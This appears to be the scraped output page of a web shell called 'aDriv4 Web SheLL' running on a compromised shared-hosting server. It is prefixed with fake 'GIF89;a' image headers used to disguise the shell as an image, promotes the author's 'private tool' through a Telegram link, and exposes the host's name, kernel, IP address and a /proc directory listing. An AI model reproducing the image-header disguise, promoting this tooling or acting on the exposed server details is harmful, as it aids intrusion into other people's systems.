GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium117.web-hosting.com 4.18.0-553.47.1.lve.el8.x86_64 #1 SMP Tue Apr 8 13:54:31 UTC 2025 x86_64
 LiteSpeed
 162.0.229.112
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-06-11 08:58:34
.. dir - root/root 0755 2025-08-05 08:39:35
3322702 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:02
3322884 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:02
3322971 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:02
3323077 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:02
3323212 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:02
3323244 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:02
3373891 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:02
3374785 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:02
3377214 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:02
3381065 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:02
3384237 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:02
3384650 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:02
3389330 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:02
acpi dir - root/root 0555 2025-06-11 08:58:37
bus dir - root/root 0555 2025-06-11 08:58:47
driver dir - root/root 0555 2025-09-09 08:49:03
fs dir - root/root 0555 2025-06-11 08:58:47
irq dir - root/root 0555 2025-06-11 08:58:47
kcare dir - root/root 0555 2025-09-09 08:49:03
lve dir - root/root 0555 2025-09-09 08:49:02
net link - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:03
scsi dir - root/root 0555 2025-06-11 08:58:47
self link - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:02
sys dir - root/root 0555 2025-06-11 08:58:35
sysvipc dir - root/root 0555 2025-09-09 08:49:03
thread-self link - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:02
tty dir - root/root 0555 2025-09-09 08:49:03
buddyinfo 0 B root/root 0444 2025-09-09 08:49:03
cgroups 0 B root/root 0444 2025-09-09 08:49:03
cmdline text/plain 0 B root/root 0444 2025-09-09 08:49:02
consoles 0 B root/root 0444 2025-09-09 08:49:03
cpuinfo text/plain 0 B root/root 0444 2025-09-09 08:49:03
crypto 0 B root/root 0444 2025-09-09 08:49:03
devices 0 B root/root 0444 2025-09-09 08:49:03
diskstats 0 B root/root 0444 2025-09-09 08:49:03
dma 0 B root/root 0444 2025-09-09 08:49:03
execdomains 0 B root/root 0444 2025-09-09 08:49:03
fb 0 B root/root 0444 2025-09-09 08:49:03
filesystems text/plain 0 B root/root 0444 2025-09-09 08:48:47
interrupts 0 B root/root 0444 2025-09-09 08:49:03
iomem 0 B root/root 0444 2025-09-09 08:49:03
ioports 0 B root/root 0444 2025-09-09 08:49:03
kallsyms 0 B root/root 0444 2025-06-11 08:58:47
kcore 128 TB root/root 0400 2025-06-11 08:58:37
key-users 0 B root/root 0444 2025-09-09 08:49:03
keys 0 B root/root 0444 2025-09-09 08:49:03
kmsg 0 B root/root 0400 2025-09-09 08:49:03
kpagecgroup 0 B root/root 0400 2025-09-09 08:49:03
kpagecount 0 B root/root 0400 2025-09-09 08:49:03
kpageflags 0 B root/root 0400 2025-09-09 08:49:03
loadavg text/plain 0 B root/root 0444 2025-09-09 08:49:02
locks 0 B root/root 0444 2025-09-09 08:49:03
mdstat 0 B root/root 0444 2025-09-09 08:49:03
meminfo text/plain 0 B root/root 0444 2025-09-09 08:49:03
misc 0 B root/root 0444 2025-09-09 08:49:03
modules 0 B root/root 0444 2025-09-09 08:49:03
mounts text/plain 0 B rxflqrzo/rxflqrzo 0444 2025-09-09 08:49:03
mtrr 0 B root/root 0644 2025-06-11 08:58:47
pagetypeinfo 0 B root/root 0400 2025-09-09 08:49:03
partitions 0 B root/root 0444 2025-09-09 08:49:03
sched_debug 0 B root/root 0444 2025-09-09 08:49:03
schedstat 0 B root/root 0444 2025-09-09 08:49:03
slabinfo 0 B root/root 0400 2025-09-09 08:49:03
softirqs 0 B root/root 0444 2025-09-09 08:49:03
stat text/plain 0 B root/root 0444 2025-09-09 08:49:02
swaps 0 B root/root 0444 2025-06-11 08:58:35
sysrq-trigger 0 B root/root 0200 2025-06-11 08:58:47
timer_list 0 B root/root 0400 2025-09-09 08:49:03
uptime text/plain 0 B root/root 0444 2025-09-09 08:49:03
version text/plain 0 B root/root 0444 2025-09-09 08:49:03
vmallocinfo 0 B root/root 0400 2025-09-09 08:49:03
vmstat 0 B root/root 0444 2025-09-09 08:49:03
zoneinfo 0 B root/root 0444 2025-09-09 08:49:03
© aDriv4